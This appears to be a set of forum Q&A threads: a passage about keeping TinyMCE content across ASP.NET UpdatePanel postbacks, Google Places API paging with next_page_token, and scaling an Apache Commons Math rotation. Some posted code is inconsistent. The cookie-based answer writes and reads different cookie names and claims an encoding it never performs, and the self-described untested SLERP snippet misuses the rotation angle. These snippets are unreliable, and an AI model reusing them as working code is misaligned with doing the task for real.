        theme_advanced_buttons2: "cut,copy,paste,pastetext,pasteword,separator,removeformat,cleanup,charmap,search,replace,separator,iespell,code,fullscreen",
        theme_advanced_buttons2_add_before: "",
        theme_advanced_buttons3: "",
        theme_advanced_toolbar_location: "top",
        theme_advanced_toolbar_align: "left",
        extended_valid_elements: "a[name|href|target|title|onclick],img[class|src|border=0|alt|title|hspace|vspace|width|height|align|onmouseover|onmouseout|name],hr[class|width|size|noshade],font[face|size|color|style],span[class|align|style]",
        paste_auto_cleanup_on_paste: true,
        paste_convert_headers_to_strong: true,
        button_tile_map: true
    });

    tinyMCE.triggerSave(false, true);
    tiny_mce_editor = tinyMCE.get('ctl00_mainContent_tbDescription');
    var newData = tiny_mce_editor.getContent();
    tinyMCE.execCommand('mceRemoveControl', false, 'your_textarea_name');

    //QJqueryUI dialog stuff
}</script>

Now my current code doesn't have the tinyMCE.execCommand("mceAddControl",true,'content'); which that one question indicated should also be added. I did try adding it but, again, wasn't sure where to put it and just putting it in the page_load seemed to have no effect.
Textbox control:
<asp:TextBox ID="tbDescription" runat="server" TextMode="MultiLine"
                Width="500px" Height="175px"></asp:TextBox><br />

How can I get these values so that the code behind can actually get what is typed in the textarea and my validator won't come up as saying it's empty? Even after async postbacks, since I have multiple buttons on the form that update it prior to actual submission.
Thanks!
Edit: For further clarification I have form validation on the back-end like so:
If tbDescription.Text = "" Or tbDescription.Text Is Nothing Then
        lblDescriptionError.Text = "You must enter a description."
        isError = True
    Else
        lblDescriptionError.Text = ""
    End If

And this error will always cause the error message to be dispalyed.
Edit:
Alright I am getting desperate here, I have spent hours on this. I finally found what I thought to be a winner on experts exchange which states the following (there was a part about encoding the value in xml, but I skipped that): http://www.experts-exchange.com/Programming/Languages/C_Sharp/Q_25059848.html

For anyone who wants to use tinyMCE with AJAX.Net:

*Append begin/end handlers to the AJAX Request object.  These will remove the tinyMCE control before sending the data (begin), and it will recreate the tinyMCE control (end):
Sys.WebForms.PageRequestManager.getInstance().add_beginRequest(function(sender, args) {
    var edID = "<%=this.ClientID%>_rte_tmce"; // the id of your textbox/textarea.
    var ed = tinyMCE.getInstanceById(edID);
  if (ed) {
    tinyMCE.execCommand('mceFocus', false, edID);
    tinyMCE.execCommand('mceRemoveControl', false, edID);
}
    });

  Sys.WebForms.PageRequestManager.getInstance().add_endRequest(function(sender, args) {
     var edID = "<%=this.ClientID%>_rte_tmce";
      var ed = tinyMCE.getInstanceById(edID);
      if (ed) {
    tinyMCE.execCommand('mceAddControl', false, edID);
      }
   });

*When the user changes/blurs from the tinyMCE control, we want to ensure that the textarea/textbox gets updated properly:
   ed.onChange.add(function(ed, l) {
       tinyMCE.triggerSave(true, true);
 });

Now I have tried this code putting it in its own script tag, putting the begin and end requests into their own script tags and putting the ed.onChange in the page_load, putting everything in the page_load, and putting all 3 in it's own script tag. In all cases it never worked, and even sometimes broke the jquery that is also in my page_load... (and yes I changed the above code to fit my page)
Can anyone get this to work or offer a solution?
The code

A: I'd just like to add my solution to this post, as I had been wrestling with the same issue for a couple days. I realise this is an old post, but maybe my answer will help someone, since I believe the question is still relevant.
I'm developing an ASP.NET web forms application, and one of the pages has a textarea control contained within an UpdatePanel. tinyMCE binds to this textarea. Text for the textarea comes from a bound textbox within a repeater control, because I want to get the text from an ObjectDataSource control, and this is a slightly cludgey way of doing that. To my mind, ObjectDataSource controls are convenient and they execute quickly.
Here is my markup containing the ObjectDataSource control, the repeater, the bound textbox, and the textarea (an asp:TextBox set to multiline). Note that the bound textbox is set to "display: none":
<asp:ObjectDataSource ID="odsDetailText" runat="server" TypeName="Data.Document" SelectMethod="GetDocumentDetailText" />
<asp:Repeater ID="repBody" runat="server" DataSourceID="odsDetailText">
    <ItemTemplate>
        <asp:TextBox ID="tbxBodyBound" runat="server" Text='<%# Eval("Body") %>' CssClass="hidden" />
    </ItemTemplate>
</asp:Repeater>
<asp:TextBox ID="tbxBody" runat="server" TextMode="MultiLine" />

I also have an asp:Button to save text in tinyMCE to SQL Server. All of these controls are contained within an UpdatePanel.
I have placed all of my jQuery and JavaScript code in a separate file. I include the relevant bits below. As an overview:

*

*I initialise tinyMCE in the JavaScript pageLoad event. Note that this event fires for full and partial (async) postbacks, so tinyMCE is always displayed and doesn't disappear between full or partial postbacks.

*Also in the pageLoad event, if a postback is async, I begin listening for a BeginRequest event raised by the ASP.NET PageRequestManager. I stop listening for the BeginRequest event in the JavaScript pageUnload event. This prevents more and more listeners being added each time pageLoad fires.

*When the event handler for the BeginRequest event fires (when the Save button on my page is clicked), I get the HTML contents of the tinyMCE text editor and save it to a cookie. I use the jQuery cookie plugin to do this: https://github.com/carhartl/jquery-cookie. The HTML is encoded in the cookie, for safety.

*Now, in the server code that executes when the Save button is clicked, the cookie's text (which is encoded HTML) is retrieved and saved to SQL server. The cookie is now deleted.

*ASP.NET binds the saved data to the hidden textobx via the ObjectDataSource control, the textarea control's value is set to the hidden textbox's, and the portion of the page within the UpdatePanel is rendered back to the browser.

*tinyMCE now displays this text from the textarea, but it is encoded HTML and not human readable.

*So, in the JavaScript pageLoad event, I format the tinyMCE text by decoding the HTML.

*Job done!
Here are the relevant parts of my script file:
// #########################################################
// Events
// #########################################################
// ---------------------------------------------------------
// Check for full and partial postbacks
// ---------------------------------------------------------
function pageLoad(sender, args) {

    // Register event handler for async postback beginning
    var prm = Sys.WebForms.PageRequestManager.getInstance();
    if (!prm.get_isInAsyncPostBack()) {
        prm.add_beginRequest(onBeginRequest);
    };

    // Configure HTML editor
    HTMLEditorConfig();

    // Format HTML editor text
    HTMLEditorFormat();
};

// ---------------------------------------------------------
// When page unloads after full or partial postback
// ---------------------------------------------------------
function pageUnload(sender, args) {

    // Deregister event handler for async postback beginning
    Sys.WebForms.PageRequestManager.getInstance().remove_beginRequest(onBeginRequest);
};

// ---------------------------------------------------------
// Event handler for async postback beginning
// ---------------------------------------------------------
function onBeginRequest() {

    // Check whether to save text editor text
    HTMLEditorSave();
};

// #########################################################
// Functions
// #########################################################
// ---------------------------------------------------------
// Configure HTML text editor. tinyMCE converts standard textarea controls
// ---------------------------------------------------------
function HTMLEditorConfig() {

    // Determine edit mode
    var editMode = $('input:hidden[id*=hfEditMode]').val().toLowerCase();

    // If not in edit mode, prevent edits
    var editorReadOnly = null;
    var editorHeight = null;
    if (editMode == 'true') {
        editorReadOnly = '';
        editorHeight = '332';
    } else {
        editorReadOnly = 'true';
        editorHeight = '342';
    };

    // Initialise HTML text editor
    tinyMCE.init({
        mode: "textareas",
        plugins: "advhr,insertdatetime,print,preview,fullscreen",
        width: "488",
        height: editorHeight,

        // Theme options
        theme: "advanced",
        theme_advanced_buttons1: "newdocument,|,print,preview,|,cut,copy,paste,|,undo,redo,removeformat,|,bold,italic,underline,strikethrough,sub,sup,|,forecolor,backcolor",
        theme_advanced_buttons2: "justifyleft,justifycenter,justifyright,justifyfull,|,bullist,numlist,|,outdent,indent,|,fontselect,fontsizeselect",
        theme_advanced_buttons3: "insertdate,inserttime,|,advhr,|,charmap,|,fullscreen",
        theme_advanced_toolbar_location: "top",
        theme_advanced_toolbar_align: "left",
        theme_advanced_statusbar_location: "none",
        theme_advanced_resizing: false,

        // Skin options
        skin: "o2k7",
        skin_variant: "silver",

        // Custom css
        content_css: "../../Script/tiny_mce/custom.css",

        // Allow edits?
        readonly: editorReadOnly
    });
};

// ---------------------------------------------------------
// Format HTML editor text by ensuring its HTML is decoded
// ---------------------------------------------------------
function HTMLEditorFormat() {

    // Check bound textbox containing HTML for text editor
    var bodyText = $('input:text[id*=tbxBody]').val();

    // If HTML exists, decode it
    if (bodyText !== null) {
        tinyMCE.activeEditor.setContent(decodeURIComponent(bodyText));
    };
};

// ---------------------------------------------------------
// Save HTML text editor text to cookie for server-side processing.
// Can't save to hidden field or asp control as this function fires after viewstate is captured (I think).
// Extra content in viewstate would slow down page load anyway.
// ---------------------------------------------------------
function HTMLEditorSave() {

    // Determine edit mode
    var editMode = $('input:hidden[id*=hfEditMode]').val().toLowerCase();

    // If in edit mode, create cookie with encoded text editor HTML. Server code will save this to database.
    if (editMode == 'true') {
        var textToSave = tinyMCE.activeEditor.getContent();
        $.cookie('HTMLEditorText', textToSave);
    }
};

Here is a portion of the server code that fires when the Save button is clicked:
Private Sub Save()

    'Retrieve tinyMCE text from cookie
    Dim cookieName As String = "tinyMCEText"
    Dim cookies As HttpCookieCollection = Request.Cookies
    Dim text As String = cookies(cookieName).Value

    'Save text to database...

    'Delete cookie
    cookies.Remove(cookieName)

    'Databind text for tinyMCE
    repeaterTinyMCE.DataBind()
    Dim encodedText As String = DirectCast(repeaterTinyMCE.Controls(0).Controls(1), TextBox).Text
    textboxTinyMCE.Text = encodedText
End Sub

Hope this helps someone.

A: I think you want to look at this posting:
How to make TinyMCE work inside an UpdatePanel?
Make sure to register you init function with the scriptmanager
ScriptManager.RegisterStartupScript(this.Page,
         this.Page.GetType(), mce.ClientID, "pageLoad();", true);

A: You have to trigger the save function when posting back, use Page.RegisterOnSubmitStatement to register the script tinyMCE.triggerSave();
I noticed that tinyMCE's init function can only be called selecting all textareas or textareas with a certain class. The exact doesn't work.

A: Well there were two ways I got this to work, which really didn't fix the problem just avoid it.
One was to use the FCKeditor .net control, this reloaded horribly slow though for me, like 2-3 seconds. So I decided to just make the form have two update panels, and put the text area in between then, essentially taking the text area out of the update panel. This felt kind of like a cheap trick that shouldn't be necessary, but it works fine. None of the solutions or suggestions anyone posted worked for me so that is what I did. If I HAD to put the text area into the update panel though, this wouldn't have worked.

A: One thing that I ran into when putting TinyMCE in an update panel was that I had to do all sorts of tricks to make it work right. Keep in mind how the update panel works, when you want to refresh it, it completely replaces the DOM inside of it, including the TinyMCE.
The workaround that I used was to remove the TinyMCE from the update panel and wrap anything else that needed to dynamically refresh in an update panel. I would then add data to TinyMCE via the javascript API it provides if I needed the TinyMCE content to be dynamic.


text:
Q: Android Google Place Api next page I am calling GooglePlaceAPI with HttpConnection.
https://maps.googleapis.com/maps/api/place/nearbysearch/json?location="+latitude+","+longtitude+"&types=" + params[0] + "&radius=" + params[1] + "&key=" + GOOGLE_KEY

If result is more than more than 20, I am getting 20+ result. I can't get 1-20 result. But I want to get all results. I hear about next_page_token but I dont know how to use.
How can i my page token or next_page_token ? and How can i solve this problem ?

A: https://maps.googleapis.com/maps/api/place/nearbysearch/json?location="+latitude+","+longtitude+"&types=" + params[0] + "&radius=" + params[1] + "&key=" + GOOGLE_KEY

parse  next_page_token from above api json response
then call api once more with pagetoken='next_page_token' as given below
https://maps.googleapis.com/maps/api/place/nearbysearch/json?location="+latitude+","+longtitude+"&pagetoken='next_page_token'&types=" + params[0] + "&radius=" + params[1] + "&key=" + GOOGLE_KEY

this will give you next 20 results.. continue parsing next_page_token from api call and then again call  api with next_page_token to get the further results


text:
Q: how to apply a fraction of rotation I'm using an apache math library. I want to apply a rotation (to a vector) that is proportional to rotation that I have at hand. Something like
Rotation rotation2 = number * rotation1;
return rotation2.applyTo(vector);

where number is the multiplier for the rotation angle, and number == 1 would result in rotation2 being equal to rotation1, and number == 0 would result to no rotation (rotation angle == 0)
How can I do this?

A: Like rashmatash suggested in his comment, you should

*

*Extract the quaternion components from the Rotation using getQ0 through getQ3.

*Get the angle of rotation using getAngle.

*Perform a SLERP computation.

*Turn the result back into a Rotation.

Something like this (untested):
double angle = rotation1.getAngle();
double sinAngle = Math.sin(angle);
double factor = Math.sin(number * angle) / sinAngle;
double factor2 = Math.sin((1 - number) * angle) / sinAngle;
double q0 = factor * rotation1.getQ0() + factor2;
double q1 = factor * rotation1.getQ1();
double q2 = factor * rotation1.getQ2();
double q3 = factor * rotation1.getQ3();
Rotation rotation2 = new Rotation(q0, q1, q2, q3, false);

A: You can getAxis() and getAngle() for the rotation, then build another rotation with the same axis and modified angle. That is easier than working with quaternions.